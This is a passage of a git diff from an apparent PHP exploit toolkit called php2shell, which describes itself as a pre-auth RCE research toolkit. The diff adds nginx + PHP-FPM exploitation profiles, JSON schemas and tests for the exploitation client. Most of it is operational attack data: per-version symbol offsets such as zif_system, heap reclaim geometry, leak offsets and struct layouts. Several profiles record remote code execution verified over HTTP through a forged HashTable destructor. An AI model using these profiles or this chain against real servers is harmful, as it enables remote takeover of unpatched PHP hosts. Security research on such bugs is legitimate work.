zif_system (proof: out/out/calib).", + "oom_mb": 4, + "layout": { + "unserialize_data": { + "last": 0, + "first_dtor": 8, + "last_dtor": 16, + "allowed_classes": 24, + "ref_props": 32, + "cur_depth": 40, + "max_depth": 48, + "entries": 56, + "size": 8216 + }, + "var_entries": { + "used_slots": 0, + "next": 8, + "data": 16, + "max": 1018 + }, + "zval": { + "value": 0, + "type_info": 8, + "context": 12, + "size": 16 + }, + "zend_array": { + "gc": 0, + "flags": 8, + "nTableMask": 12, + "arData": 16, + "nNumUsed": 24, + "nNumOfElements": 28, + "nTableSize": 32, + "pDestructor": 48 + }, + "zend_reference": { + "gc": 0, + "val": 8, + "val_type_info": 16, + "sources": 24 + }, + "zend_string": { + "gc": 0, + "h": 8, + "len": 16, + "val": 24 + }, + "zend_execute_data": { + "opline": 0, + "call": 8, + "return_value": 16, + "func": 24, + "num_args": 44, + "arg1": 80 + }, + "bucket": { + "val": 0, + "h": 16, + "key": 24 + }, + "bg": { + "unserialize_data": 848, + "unserialize_level": 856 + } + } +} diff --git a/profiles/8.3.0-bookworm.json b/profiles/8.3.0-bookworm.json index 10d6962..2553b67 100644 --- a/profiles/8.3.0-bookworm.json +++ b/profiles/8.3.0-bookworm.json @@ -14,8 +14,8 @@ "htdata": null }, "stages": { - "stage1_n": 0, - "stage1_forge_len": 0, + "stage1_n": null, + "stage1_forge_len": null, "stage2_t": 406, "stage2_v": 16, "stage3_pads": null, @@ -33,4 +33,4 @@ }, "status": "calibration failed: heap/libphp leak not reproduced", "arch": "aarch64" -} \ No newline at end of file +} diff --git a/profiles/8.3.33-wordpress.json b/profiles/8.3.33-wordpress.json index 6d57d9b..e3f58bb 100644 --- a/profiles/8.3.33-wordpress.json +++ b/profiles/8.3.33-wordpress.json @@ -20,22 +20,19 @@ "stage3_pads": null, "stage3_carrier": null }, - "requirements": { - "display_errors": "On", - "memory_limit": "8M", - "max_input_vars": 1000, - "session_upload_progress": "On", - "session_use_cookies": 1, - "session_use_strict_mode": 0, - "workers": 1 - }, "measured": { "chunk_base_example": "0xffffae200000", "libphp_base_example": "0xffffb0300000", "stage3_http_session_vars": "chunk+0x56180", "stage3_ref_buffers": "chunk+0x5d068+n*0xa0" }, - "status": "stage 1 (heap leak) and stage 2 (libphp leak) reproduced; stage 3 not calibrated, no RCE", + "status": "stage 1 (heap leak) and stage 2 (libphp leak) reproduced; stage 3 not calibrated, no RCE (requirements observed: display_errors=On, memory_limit=8M, max_input_vars=1000, session.upload_progress=On, session.use_cookies=1, session.use_strict_mode=0, workers=1)", "distro": "debian", - "arch": "aarch64" -} \ No newline at end of file + "arch": "aarch64", + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 1 + } +} diff --git a/profiles/8.3.35-fpm.json b/profiles/8.3.35-fpm.json new file mode 100644 index 0000000..796007a --- /dev/null +++ b/profiles/8.3.35-fpm.json @@ -0,0 +1,130 @@ +{ + "name": "php-8.3.35-fpm", + "php_version": "8.3.35", + "branch": "8.3", + "fixed_in": "8.3.36", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x37d5f0", + "zval_ptr_dtor": "0x446460", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa14e80", + "bg_unserialize_data_off": 856, + "bg_unserialize_level_off": 864, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x80000", + "k": "0xfe8" + } + ], + "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8c000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4b24f6", + "bases": "discovered over HTTP with the calibrate command (no /proc access)" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f1c11400000 and the PIE base 0x564b85200000 (leak+0x157e8 -> 0x4b24f6); the primitive at 0x80000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).", + "oom_mb": 4, + "layout": { + "unserialize_data": { + "last": 0, + "first_dtor": 8, + "last_dtor": 16, + "allowed_classes": 24, + "ref_props": 32, + "cur_depth": 40, + "max_depth": 48, + "entries": 56, + "size": 8216 + }, + "var_entries": { + "used_slots": 0, + "next": 8, + "data": 16, + "max": 1018 + }, + "zval": { + "value": 0, + "type_info": 8, + "context": 12, + "size": 16 + }, + "zend_array": { + "gc": 0, + "flags": 8, + "nTableMask": 12, + "arData": 16, + "nNumUsed": 24, + "nNumOfElements": 28, + "nTableSize": 32, + "pDestructor": 48 + }, + "zend_reference": { + "gc": 0, + "val": 8, + "val_type_info": 16, + "sources": 24 + }, + "zend_string": { + "gc": 0, + "h": 8, + "len": 16, + "val": 24 + }, + "zend_execute_data": { + "opline": 0, + "call": 8, + "return_value": 16, + "func": 24, + "num_args": 44, + "arg1": 80 + }, + "bucket": { + "val": 0, + "h": 16, + "key": 24 + }, + "bg": { + "unserialize_data": 856, + "unserialize_level": 864 + } + } +} diff --git a/profiles/8.4.0-fpm.json b/profiles/8.4.0-fpm.json new file mode 100644 index 0000000..8ac8d0f --- /dev/null +++ b/profiles/8.4.0-fpm.json @@ -0,0 +1,130 @@ +{ + "name": "php-8.4.0-fpm", + "php_version": "8.4.0", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x384380", + "zval_ptr_dtor": "0x542dd0", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa04580", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x7f000", + "k": "0xfe8" + } + ], + "bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8b000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4e4467", + "bases": "discovered over HTTP with the calibrate command (no /proc access)" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f576fe00000 and the PIE base 0x558029e00000 (leak+0x157e8 -> 0x4e4467); the primitive at 0x7f000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib).", + "oom_mb": 4, + "layout": { + "unserialize_data": { + "last": 0, + "first_dtor": 8, + "last_dtor": 16, + "allowed_classes": 24, + "ref_props": 32, + "cur_depth": 40, + "max_depth": 48, + "entries": 56, + "size": 8216 + }, + "var_entries": { + "used_slots": 0, + "next": 8, + "data": 16, + "max": 1018 + }, + "zval": { + "value": 0, + "type_info": 8, + "context": 12, + "size": 16 + }, + "zend_array": { + "gc": 0, + "flags": 8, + "nTableMask": 12, + "arData": 16, + "nNumUsed": 24, + "nNumOfElements": 28, + "nTableSize": 32, + "pDestructor": 48 + }, + "zend_reference": { + "gc": 0, + "val": 8, + "val_type_info": 16, + "sources": 24 + }, + "zend_string": { + "gc": 0, + "h": 8, + "len": 16, + "val": 24 + }, + "zend_execute_data": { + "opline": 0, + "call": 8, + "return_value": 16, + "func": 24, + "num_args": 44, + "arg1": 80 + }, + "bucket": { + "val": 0, + "h": 16, + "key": 24 + }, + "bg": { + "unserialize_data": 872, + "unserialize_level": 880 + } + } +} diff --git a/profiles/8.4.25-fpm.json b/profiles/8.4.25-fpm.json new file mode 100644 index 0000000..290edc3 --- /dev/null +++ b/profiles/8.4.25-fpm.json @@ -0,0 +1,66 @@ +{ + "name": "php-8.4.25-fpm", + "php_version": "8.4.25", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": { + "zif_system": "0x386460", + "zval_ptr_dtor": "0x549890", + "htdata": null + }, + "fpm": { + "basic_globals": "0xa04660", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 12288, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [ + 4096, + 4096 + ], + "reclaim_size": 16384, + "candidates": [ + { + "d_off": "0x7f000", + "k": "0xfe8" + } + ], + "bases": "stable one-slot geometry: d_off=0x7f000, k=0xfe8; recalibrate if the allocator layout changes" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [ + 32768, + 16384 + ], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8b000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4e9fc7", + "bases": "leaked over HTTP from a stale short-session string OOB read" + } + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, and two 4 KB pads + a 16 KB big field cover d at 0x7f000. The HTTP stale-string leak recovers chunk/PIE with the 8.4.25 PIE offset. The command runs and the consumer worker aborts afterwards; FPM respawns it.", + "oom_mb": 4 +} diff --git a/profiles/8.4.26-fpm.json b/profiles/8.4.26-fpm.json new file mode 100644 index 0000000..7cfb07b --- /dev/null +++ b/profiles/8.4.26-fpm.json @@ -0,0 +1,56 @@ +{ + "name": "php-8.4.26-fpm", + "php_version": "8.4.26", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "fpm", + "verified": true, + "rce": true, + "distro": "debian", + "arch": "amd64", + "libphp": {"zif_system": "0x386660", "zval_ptr_dtor": "0x54a0d0", "htdata": null}, + "fpm": { + "basic_globals": "0xa04660", + "bg_unserialize_data_off": 872, + "bg_unserialize_level_off": 880, + "struct_size": 8216, + "reclaim_pads": [4096, 4096], + "reclaim_size": 12288, + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [4096, 4096], + "reclaim_size": 16384, + "candidates": [ + {"d_off": "0x7f000", "k": "0xfe8"} + ], + "bases": "stable for the FPM master lifetime; supply --chunk/--pie or derive locally from /proc//maps" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [32768, 16384], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8b000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4ea787", + "bases": "leaked over HTTP from a stale short-session string OOB read" + } + }, + "stages": {}, + "config": {"memory_limit": 8388608, "display_errors": "On", "session_upload_progress": "On", "workers": 2}, + "status": "RCE verified in the nginx+FPM lab: the reclaim geometry pads=[4096, 4096] size=12288 covers the stale BG(unserialize) struct and the forged HashTable destructor fires zif_system. The HTTP stale-string leak recovers the chunk and PIE bases with this build's offsets.", + "oom_mb": 4, + "layout": { + "unserialize_data": {"last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24, "ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56, "size": 8216}, + "var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018}, + "zval": {"value": 0, "type_info": 8, "context": 12, "size": 16}, + "zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16, "nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32, "pDestructor": 48}, + "zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24}, + "zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24}, + "zend_execute_data": {"opline": 0, "call": 8, "return_value": 16, "func": 24, "num_args": 44, "arg1": 80}, + "bucket": {"val": 0, "h": 16, "key": 24}, + "bg": {"unserialize_data": 872, "unserialize_level": 880} + } +} diff --git a/profiles/fpm-schema.json b/profiles/fpm-schema.json new file mode 100644 index 0000000..d502568 --- /dev/null +++ b/profiles/fpm-schema.json @@ -0,0 +1,193 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://github.com/devploit/php2shell/blob/main/profiles/fpm-schema.json", + "title": "PHP2Shell nginx + PHP-FPM profile", + "type": "object", + "required": [ + "name", + "php_version", + "branch", + "fixed_in", + "sapi", + "verified", + "rce", + "distro", + "arch", + "libphp", + "fpm", + "stages", + "config", + "status", + "oom_mb" + ], + "properties": { + "name": {"type": "string"}, + "php_version": {"type": "string"}, + "branch": {"type": "string"}, + "fixed_in": {"type": "string"}, + "sapi": {"const": "fpm"}, + "verified": {"type": "boolean"}, + "rce": {"type": "boolean"}, + "distro": {"type": "string"}, + "arch": {"type": "string"}, + "libphp": { + "type": "object", + "required": ["zif_system", "zval_ptr_dtor"], + "properties": { + "zif_system": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "zval_ptr_dtor": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "htdata": {"type": ["string", "null"]} + }, + "additionalProperties": false + }, + "fpm": { + "type": "object", + "required": [ + "basic_globals", + "bg_unserialize_data_off", + "bg_unserialize_level_off", + "struct_size", + "reclaim_pads", + "reclaim_size", + "oracle", + "no_oracle", + "leak" + ], + "properties": { + "basic_globals": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "bg_unserialize_data_off": {"type": "integer", "minimum": 0}, + "bg_unserialize_level_off": {"type": "integer", "minimum": 0}, + "struct_size": {"type": "integer", "minimum": 1}, + "reclaim_pads": { + "type": "array", + "items": {"type": "integer", "minimum": 1} + }, + "reclaim_size": {"type": "integer", "minimum": 1}, + "oracle": {"type": "string"}, + "no_oracle": { + "type": "object", + "required": ["reclaim_size", "candidates", "bases"], + "properties": { + "reclaim_pads": { + "type": "array", + "items": {"type": "integer", "minimum": 1} + }, + "reclaim_size": {"type": "integer", "minimum": 1}, + "candidates": { + "type": "array", + "minItems": 1, + "items": { + "type": "object", + "required": ["d_off", "k"], + "properties": { + "d_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "k": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"} + }, + "additionalProperties": false + } + }, + "bases": {"type": "string"} + }, + "additionalProperties": false + }, + "leak": { + "type": "object", + "required": [ + "arm_path", + "pads", + "size", + "header_content_off", + "read_len", + "chunk_ptr_off", + "chunk_base_off", + "pie_ptr_off", + "pie_base_off" + ], + "properties": { + "arm_path": {"type": "string"}, + "pads": { + "type": "array", + "items": {"type": "integer", "minimum": 1} + }, + "size": {"type": "integer", "minimum": 1}, + "header_content_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "read_len": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "chunk_ptr_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "chunk_base_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "pie_ptr_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "pie_base_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "bases": {"type": "string"} + }, + "additionalProperties": false + } + }, + "additionalProperties": false + }, + "stages": {"type": "object"}, + "config": { + "type": "object", + "required": ["memory_limit", "display_errors", "session_upload_progress", "workers"], + "properties": { + "memory_limit": {"type": "integer", "minimum": 1}, + "display_errors": {"type": "string"}, + "session_upload_progress": {"type": "string"}, + "workers": {"type": "integer", "minimum": 1} + }, + "additionalProperties": false + }, + "status": {"type": "string"}, + "oom_mb": {"type": "integer", "minimum": 1}, + "layout": { + "type": "object", + "description": "struct layouts of the build, derived from its headers", + "required": ["unserialize_data", "var_entries", "zval", "zend_array"], + "properties": { + "unserialize_data": { + "type": "object", + "description": "php_unserialize_data; PHP <= 7.3 keeps a 'legacy' five-pointer shape with no embedded entries block", + "required": ["last", "size"], + "properties": { + "first": {"type": "integer", "minimum": 0}, + "last": {"type": "integer", "minimum": 0}, + "first_dtor": {"type": "integer", "minimum": 0}, + "last_dtor": {"type": "integer", "minimum": 0}, + "allowed_classes": {"type": "integer", "minimum": 0}, + "ref_props": {"type": "integer", "minimum": 0}, + "cur_depth": {"type": "integer", "minimum": 0}, + "max_depth": {"type": "integer", "minimum": 0}, + "entries": {"type": "integer", "minimum": 0}, + "size": {"type": "integer", "minimum": 1}, + "legacy": {"type": "boolean"} + }, + "additionalProperties": false + }, + "var_entries": { + "type": "object", + "properties": { + "used_slots": {"type": "integer", "minimum": 0}, + "next": {"type": "integer", "minimum": 0}, + "data": {"type": "integer", "minimum": 0}, + "max": {"type": "integer", "minimum": 1} + }, + "additionalProperties": false + }, + "bg": { + "type": "object", + "properties": { + "unserialize_data": {"type": "integer", "minimum": 0}, + "unserialize_level": {"type": "integer", "minimum": 0} + }, + "additionalProperties": false + }, + "zval": {"type": "object"}, + "zend_array": {"type": "object"}, + "zend_reference": {"type": "object"}, + "zend_string": {"type": "object"}, + "zend_execute_data": {"type": "object"}, + "bucket": {"type": "object"} + }, + "additionalProperties": false + } + }, + "additionalProperties": false +} diff --git a/profiles/schema.json b/profiles/schema.json index 015bbb0..279ea2d 100644 --- a/profiles/schema.json +++ b/profiles/schema.json @@ -41,9 +41,10 @@ "sapi": { "type": "string", "enum": [ - "apache2handler" + "apache2handler", + "fpm" ], - "description": "Server API. Only apache2handler (mod_php prefork) is supported." + "description": "Server API: apache2handler (mod_php prefork) or fpm (nginx + PHP-FPM)." }, "verified": { "type": "boolean", @@ -76,7 +77,7 @@ }, "libphp": { "type": "object", - "description": "Symbol offsets relative to the libphp.so load base.", + "description": "Symbol offsets relative to the libphp.so load base (apache2handler) or the php-fpm PIE base (fpm).", "required": [ "zif_system", "zval_ptr_dtor" @@ -103,29 +104,170 @@ }, "additionalProperties": false }, + "fpm": { + "type": "object", + "description": "PHP-FPM stale-BG(unserialize) chain layout (lab-calibrated; offsets relative to the php-fpm PIE base).", + "properties": { + "basic_globals": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of basic_globals in the php-fpm binary." + }, + "bg_unserialize_data_off": { + "type": "integer", + "description": "offsetof(php_basic_globals, unserialize.data)." + }, + "bg_unserialize_level_off": { + "type": "integer", + "description": "offsetof(php_basic_globals, unserialize.level)." + }, + "struct_size": { + "type": "integer", + "description": "sizeof(struct php_unserialize_data) for this build." + }, + "reclaim_pads": { + "type": "array", + "items": {"type": "integer"}, + "description": "Pad field sizes placed before the big reclaim field." + }, + "reclaim_size": { + "type": "integer", + "description": "Size of the big multipart field that reclaims the stale struct." + }, + "oracle": { + "type": "string", + "description": "Calibration oracle used by the lab client (e.g. /proc//mem)." + }, + "no_oracle": { + "type": "object", + "description": "HTTP-only endgame geometry: no /proc//mem is read at exploit time.", + "properties": { + "reclaim_pads": { + "type": "array", + "items": {"type": "integer"}, + "description": "Pad field sizes placed before the big reclaim field." + }, + "reclaim_size": { + "type": "integer", + "description": "Size of the big multipart field that reclaims the stale struct." + }, + "candidates": { + "type": "array", + "description": "Candidate (d offset, cover offset) pairs tried in order.", + "items": { + "type": "object", + "properties": { + "d_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$" + }, + "k": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$" + } + }, + "required": ["d_off", "k"], + "additionalProperties": false + } + }, + "bases": { + "type": "string", + "description": "How the absolute bases are supplied or derived." + } + }, + "additionalProperties": false + }, + "leak": { + "type": "object", + "description": "HTTP-only base leak geometry (stale short-session string OOB read).", + "properties": { + "arm_path": { + "type": "string", + "description": "Builder script that stores the large stale session values (for example /bigvar.php)." + }, + "pads": { + "type": "array", + "items": {"type": "integer"}, + "description": "Field sizes placed before the reclaimed forged header." + }, + "size": { + "type": "integer", + "description": "Reclaim buffer size in bytes." + }, + "header_content_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of the forged zend_string header inside the reclaim content." + }, + "read_len": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Forged string length that spans the stale chunk and PIE pointers." + }, + "chunk_ptr_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of the stale zval chunk pointer in the leaked bytes." + }, + "chunk_base_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset from the chunk pointer to the Zend-MM chunk base." + }, + "pie_ptr_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of the leaked execute_ex handler pointer in the leaked bytes." + }, + "pie_base_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset from the leaked execute_ex handler pointer to the PIE base." + }, + "bases": { + "type": "string", + "description": "How the bases are obtained." + } + }, + "required": [ + "arm_path", + "pads", + "size", + "header_content_off", + "read_len", + "chunk_ptr_off", + "chunk_base_off", + "pie_ptr_off", + "pie_base_off" + ], + "additionalProperties": false + } + }, + "additionalProperties": false + }, "stages": { "type": "object", "description": "Heap calibration parameters for each exploit stage.", "properties": { "stage1_n": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Number of multipart fields to place before the forged block in stage 1." + "description": "Number of multipart fields to place before the forged block in stage 1. Null when not calibrated." }, "stage1_forge_len": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Byte length of the forged zend_string block in stage 1." + "description": "Byte length of the forged zend_string block in stage 1. Null when not calibrated." }, "stage2_t": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Target field index for the stage-2 libphp pointer leak." + "description": "Target field index for the stage-2 libphp pointer leak. Null when not calibrated." }, "stage2_v": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Value parameter for stage-2 calibration." + "description": "Value parameter for stage-2 calibration. Null when not calibrated." }, "stage3_pads": { "type": [ @@ -181,14 +323,32 @@ "description": "Addresses observed during calibration (informational, not used at runtime).", "properties": { "chunk_base": { - "type": "string", + "type": ["string", "null"], "pattern": "^0x[0-9a-fA-F]+$", - "description": "Zend MM chunk base address from stage-1 leak." + "description": "Zend MM chunk base address from stage-1 leak. Null when not leaked." }, "libphp_base": { - "type": "string", + "type": ["string", "null"], "pattern": "^0x[0-9a-fA-F]+$", - "description": "libphp.so load base from stage-2 leak." + "description": "libphp.so load base from stage-2 leak. Null when not leaked." + }, + "chunk_base_example": { + "type": ["string", "null"], + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Example chunk base observed on a similar build (informational)." + }, + "libphp_base_example": { + "type": ["string", "null"], + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Example libphp base observed on a similar build (informational)." + }, + "stage3_http_session_vars": { + "type": ["string", "null"], + "description": "Chunk-relative shape of $_SESSION storage observed during calibration." + }, + "stage3_ref_buffers": { + "type": ["string", "null"], + "description": "Chunk-relative shape of the reference buffers observed during calibration." } }, "additionalProperties": false @@ -214,51 +374,91 @@ "minimum": 1 }, "description": "memory_limit values (in MiB) where RCE was verified." + }, + "layout": { + "type": "object", + "description": "Compiled struct-layout offsets for this PHP-FPM build. The strict per-field shape is validated by profiles/fpm-schema.json; this generic schema only asserts it is an object." } }, - "if": { - "properties": { - "rce": { - "const": true - } - } - }, - "then": { - "required": [ - "oom_mb" - ], - "properties": { - "libphp": { + "allOf": [ + { + "if": { + "properties": { + "rce": { + "const": true + }, + "sapi": { + "const": "apache2handler" + } + }, + "required": ["rce", "sapi"] + }, + "then": { "required": [ - "zif_system", - "zval_ptr_dtor", - "htdata" + "oom_mb" ], "properties": { - "htdata": { - "type": "string" + "libphp": { + "required": [ + "zif_system", + "zval_ptr_dtor", + "htdata" + ], + "properties": { + "htdata": { + "type": "string" + } + } + }, + "stages": { + "required": [ + "stage1_n", + "stage1_forge_len", + "stage2_t", + "stage2_v", + "stage3_pads", + "stage3_carrier" + ], + "properties": { + "stage3_pads": { + "type": "array" + }, + "stage3_carrier": { + "type": "boolean" + } + } } } + } + }, + { + "if": { + "properties": { + "rce": { + "const": true + }, + "sapi": { + "const": "fpm" + } + }, + "required": ["rce", "sapi"] }, - "stages": { + "then": { "required": [ - "stage1_n", - "stage1_forge_len", - "stage2_t", - "stage2_v", - "stage3_pads", - "stage3_carrier" + "oom_mb", + "fpm" ], "properties": { - "stage3_pads": { - "type": "array" - }, - "stage3_carrier": { - "type": "boolean" + "fpm": { + "required": [ + "basic_globals", + "struct_size", + "reclaim_size" + ] } } } } - }, + ], "additionalProperties": false } \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index fe76657..b5b09ee 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,17 +1,17 @@ [project] name = "php2shell" version = "1.0.0" -description = "Pre-auth RCE research toolkit for CVE-2026-109618 / CVE-2026-109619" +description = "Pre-auth RCE research toolkit for CVE-2026-109618 / CVE-2026-109619 (Apache mod_php and nginx + PHP-FPM chains)" readme = "README.md" license = "MIT" +license-files = ["LICENSE"] requires-python = ">=3.11" authors = [{ name = "devploit" }] -keywords = ["security", "research", "php", "rce", "exploit"] +keywords = ["security", "research", "php", "php-fpm", "rce", "exploit"] classifiers = [ "Development Status :: 4 - Beta", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", - "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", @@ -24,8 +24,8 @@ Repository = "https://github.com/devploit/php2shell" Documentation = "https://github.com/devploit/php2shell/blob/main/docs/php2shell-analysis.md" [build-system] -requires = ["setuptools>=68.0"] -build-backend = "setuptools.backends._legacy:_Backend" +requires = ["setuptools>=77.0"] +build-backend = "setuptools.build_meta" [tool.setuptools] packages = [] diff --git a/requirements-dev.txt b/requirements-dev.txt new file mode 100644 index 0000000..f427698 --- /dev/null +++ b/requirements-dev.txt @@ -0,0 +1,2 @@ +jsonschema>=4.20 +ruff>=0.6 diff --git a/tests/test_core.py b/tests/test_core.py index bf14ee9..49c661d 100644 --- a/tests/test_core.py +++ b/tests/test_core.py @@ -20,9 +20,9 @@ sys.path.insert(0, str(ROOT / "tools")) import php2shell_auto as auto # noqa: E402 -import php2shell_ui as ui # noqa: E402 -import php2shell_paths as paths # noqa: E402 import php2shell_calibrate as cal # noqa: E402 +import php2shell_paths as paths # noqa: E402 +import php2shell_ui as ui # noqa: E402 class ClassificationTests(unittest.TestCase): @@ -147,7 +147,7 @@ class InventoryTests(unittest.TestCase): def test_profiles_are_valid(self): names = set() for path in sorted((ROOT / "profiles").glob("*.json")): - if path.name == "schema.json": + if path.name in ("schema.json", "fpm-schema.json"): continue data = json.loads(path.read_text()) self.assertIn("name", data, path) @@ -159,9 +159,15 @@ def test_profiles_are_valid(self): self.assertNotIn(data["name"], names, f"duplicate profile name: {path}") names.add(data["name"]) if data.get("rce"): - self.assertIsNotNone(data["libphp"].get("htdata"), path) - self.assertTrue(data["stages"].get("stage3_pads"), path) self.assertIsInstance(data.get("oom_mb"), int, path) + if data.get("sapi") == "fpm": + # the FPM chain forges the stale var_hash directly; it + # does not use the Apache stage-3 htdata carrier + self.assertIsNotNone(data["fpm"].get("basic_globals"), path) + self.assertIsNotNone(data["fpm"].get("struct_size"), path) + else: + self.assertIsNotNone(data["libphp"].get("htdata"), path) + self.assertTrue(data["stages"].get("stage3_pads"), path) def test_profile_schema_if_present(self): schema = ROOT / "profiles" / "schema.json" diff --git a/tests/test_fpm.py b/tests/test_fpm.py new file mode 100644 index 0000000..db61b22 --- /dev/null +++ b/tests/test_fpm.py @@ -0,0 +1,494 @@ +#!/usr/bin/env python3 +"""Unit tests for the nginx + PHP-FPM exploitation client (tools/php2shell_fpm.py). + +The unit tests need no laboratory. The integration tests at the bottom +need the local FPM lab (lab/fpm, ``tools/php2shell_fpm_labs.py up``) and +run only when PHP2SHELL_FPM_LAB=1 is set. +""" + +from __future__ import annotations + +import json +import os +import struct +import sys +import tempfile +import unittest +from pathlib import Path +from types import SimpleNamespace +from unittest import mock + +ROOT = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(ROOT / "tools")) + +import php2shell_fpm as fpm # noqa: E402 +import php2shell_fpm_profile as profile_gen # noqa: E402 +import php2shell_fpm_versions as versions # noqa: E402 + +D = 0x7F07BE280000 # lab-observed stale struct address +K = 0xFE8 # lab-observed reclaim content offset +SIZE = 12288 +ZIF = 0x556C90186660 # lab-observed zif_system absolute address +CMD = b"id>out/p1" + + +class MultipartTests(unittest.TestCase): + def test_build_multipart_shape(self): + parts = [ + {"name": "pad0", "data": b"C" * 16}, + {"name": "f", "filename": "a.txt", "data": b"x" * 4}, + ] + body = fpm.build_multipart(parts, b"BOUND1") + self.assertTrue(body.startswith(b"--BOUND1\r\n")) + self.assertIn(b'name="pad0"', body) + self.assertIn(b'filename="a.txt"', body) + self.assertIn(b"Content-Type: application/octet-stream", body) + self.assertTrue(body.endswith(b"--BOUND1--\r\n")) + + +class LeakTests(unittest.TestCase): + def 